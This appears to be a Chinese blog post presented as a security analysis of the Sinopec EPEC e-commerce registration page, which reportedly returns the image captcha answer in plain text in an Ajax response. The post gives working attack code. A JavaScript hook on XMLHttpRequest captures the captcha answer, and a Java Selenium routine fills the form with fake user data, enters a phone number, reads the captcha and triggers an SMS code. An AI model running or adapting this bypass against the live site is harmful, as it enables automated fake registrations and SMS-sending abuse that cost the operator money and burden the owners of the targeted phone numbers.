【中石化易派客注册_登录安全分析报告-Ajax泄漏验证码导致安全隐患】

前言

由于网站注册入口容易被黑客攻击,存在如下安全问题:

1. 暴力破解密码,造成用户信息泄露

2. 短信盗刷的安全问题,影响业务及导致用户投诉

3. 带来经济损失,尤其是后付费客户,风险巨大,造成亏损无底洞

在这里插入图片描述

所以大部分网站及App 都采取图形验证码或滑动验证码等交互解决方案, 但在机器学习能力提高的当下,连百度这样的大厂都遭受攻击导致点名批评, 图形验证及交互验证方式的安全性到底如何? 请看具体分析

一、 中石化易派客PC 注册入口

简介: 易派客是顺应“互联网+”国家发展战略,根植于中国石化的坚实产业链、采购管理实践及信息化新成果,探索铸就的“互联网+供应链”电商平台。

在这里插入图片描述

二、 安全性分析报告:

易派客研发的英文数字混合图形验证码,存在严重的致命缺陷,使设计的功能无效,攻击者无需进行识别图形就可以英文数字字符串。

在这里插入图片描述

三、 测试方法:

前端界面分析,这是易派客自己研发的滑动验证码,网上没有现成的教学视频,但形式都差不多,发现严重问题:
前端利用 canvs 将后台直接返回的字符串(不是图片信息)在前端显示加干扰线的图片,用JS 注入方式直接获取位置,获取字符串后将参数提交即可
这次还是采用模拟器的方式,简单,只需要注入JS,两步就可以搞定:

1. 注入监听脚本, 获取参数后保存到指定变量 window.epecResponse

2. 读取指定变量window.epecResponse 后,作为输入,提交完成操作;

在这里插入图片描述

  1. JS 注入部分代码
(function() {
    // 保存原始的XMLHttpRequest构造函数
    const originalXHR = XMLHttpRequest;
    // 创建一个新的构造函数
    function CustomXHR() {
        const xhrInstance = new originalXHR();
        // 保存原始的open方法
        const originalOpen = xhrInstance.open;
        xhrInstance.open = function(method, url, async, user, password) {           
            // 调用原始的open方法
            originalOpen.apply(xhrInstance, arguments);
        };

        // 保存原始的send方法
        const originalSend = xhrInstance.send;
        xhrInstance.send = function(body) {
            // 可以在这里拦截请求体
            console.log('Request Body:', body);            
            // 调用原始的send方法
            originalSend.apply(xhrInstance, arguments);
        };

        // 拦截onreadystatechange事件
        xhrInstance.addEventListener('readystatechange', function() {
            if (xhrInstance.readyState === 4) {
                // 可以在这里拦截响应
            	if(xhrInstance.responseText.indexOf('imageCode')>=0){
            		window.epecResponse=xhrInstance.responseText;
            		console.log('epecResponse:', epecResponse);
            	}
            }
        });

        return xhrInstance;
    }

    // 复制原始的XMLHttpRequest原型到新的构造函数
    CustomXHR.prototype = originalXHR.prototype;

    // 将全局的XMLHttpRequest替换为自定义的构造函数
    window.XMLHttpRequest = CustomXHR;
})();
  1. 模拟器交互部分
public RetEntity send(WebDriver driver, String areaCode, String phone) {
		RetEntity retEntity = new RetEntity();
		try {
			driver.get(INDEX_URL);
			// 注入监听脚本 ,存入指定变量
			InputStream inStream = Epec.class.getResourceAsStream("/epec.js");
			StringBuffer jsBuffer = new StringBuffer();
			InputStreamReader inPutStream = (inStream != null) ? new InputStreamReader(inStream) : null;
			BufferedReader bufferedReader = (inPutStream != null) ? new BufferedReader(inPutStream) : null;
			String line = null;
			while ((line = bufferedReader.readLine()) != null) {
				jsBuffer.append(line + "\n");
			}
			bufferedReader.close();
			((JavascriptExecutor) driver).executeScript(jsBuffer.toString());
			// 请输入用户名
			WebElement userElement = driver.findElement(By.xpath("//input[contains(@placeholder,'请输入用户名')]"));
			userElement.sendKeys("user" + System.currentTimeMillis());
			// 请设置您的登录密码
			String pass = "Abc" + System.currentTimeMillis() + "!";
			WebElement passElement = driver.findElement(By.xpath("//input[contains(@placeholder,'请设置您的登录密码')]"));
			passElement.sendKeys(pass);
			passElement = driver.findElement(By.xpath("//input[contains(@placeholder,'请再次输入您的登录密码')]"));
			passElement.sendKeys(pass);
			// 请输入真实姓名
			String trueName = NickName.getFamily();
			WebElement tureNameElement = driver.findElement(By.xpath("//input[contains(@placeholder,'请输入真实姓名')]"));
			tureNameElement.sendKeys(trueName);
			// 请输入您的手机号
			WebElement phoneElemet = driver.findElement(By.xpath("//input[contains(@placeholder,'请输入您的手机号')]"));
			phoneElemet.sendKeys(phone);
			// 点击获取验证码
			driver.findElement(By.className("refresh")).click();
			Thread.sleep(1 * 1000);
			String js = "return window.epecResponse;";
			Object exeRet = ((JavascriptExecutor) driver).executeScript(js);
			JSONObject retJson = (exeRet != null) ? JSONObject.parseObject(exeRet.toString()) : null;
			JSONObject dataJson = (retJson != null) ? retJson.getJSONObject("data") : null;
			String smsCode = (dataJson != null) ? dataJson.getString("imageCode") : null;
			System.out.println("exeRet=" + exeRet + "->smsCode=" + smsCode);
			if (smsCode == null || "".equals(smsCode)) {
				return null;
			}
			// 请输入验证码
			WebElement smsCodeElemet = driver.findElement(By.xpath("//input[contains(@placeholder,'请输入验证码')]"));
			smsCodeElemet.sendKeys(smsCode);
			// 获取验证码
			WebElement getCodeElemet = driver.findElement(By.xpath("//span[contains(text(),'获取验证码')]"));
			getCodeElemet.click();
			String gtInfo = getCodeElemet.getText();
			retEntity.setMsg(gtInfo);
			if (gtInfo.contains("重新发送")) {
				retEntity.setRet(0);
				return retEntity;
			} else {
				System.out.println("gtInfo=" + gtInfo);
				retEntity.setRet(-1);
				return retEntity;
			}
		} catch (Exception e) {
			System.out.println(e.toString());
			retEntity.setRet(-1);
			retEntity.setMsg(e.toString());
		} finally {
			driver.manage().deleteAllCookies();
		}
		return retEntity;
	}


  由于碰到严重设计缺陷,本次测评非常简单

二丶结语

中石化易派客作为顺应“互联网+”国家发展战略,根植于中国石化的坚实产业链、采购管理实践及信息化新成果,探索铸就的“互联网+供应链”电商平台,但本次测评时,图形验证码在后台直接输出, 这就明白的告诉攻击者,答案已经给你了,不需要进行图形识别
不过,前端的水平的确可以, 在前端完成了超级无法的加干扰线、文字扭曲等展示,可惜最终如皇帝的新装, 等于没有。总之作为实力雄厚的国有大企业,出现这么严重的低级问题! 在业界面前被打脸, 对不起自己的能源行业巨头地位 !

很多人在短信服务刚开始建设的阶段,可能不会在安全方面考虑太多,理由有很多。
比如:“ 需求这么赶,当然是先实现功能啊 ”,“ 业务量很小啦,系统就这么点人用,不怕的 ” , “ 我们怎么会被盯上呢,不可能的 ”等等。

有一些理由虽然有道理,但是该来的总是会来的。前期欠下来的债,总是要还的。越早还,问题就越小,损失就越低。

所以大家在安全方面还是要重视。(血淋淋的栗子!)#安全短信#

戳这里→康康你手机号在过多少网站注册过!!!

谷歌图形验证码在AI 面前已经形同虚设,所以谷歌宣布退出验证码服务, 那么当所有的图形验证码都被破解时,大家又该如何做好防御呢?

>>相关阅读
《腾讯防水墙滑动拼图验证码》
《百度旋转图片验证码》
《网易易盾滑动拼图验证码》
《顶象区域面积点选验证码》
《顶象滑动拼图验证码》
《极验滑动拼图验证码》
《使用深度学习来破解 captcha 验证码》
《验证码终结者-基于CNN+BLSTM+CTC的训练部署套件》

  • 35
    点赞
  • 18
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值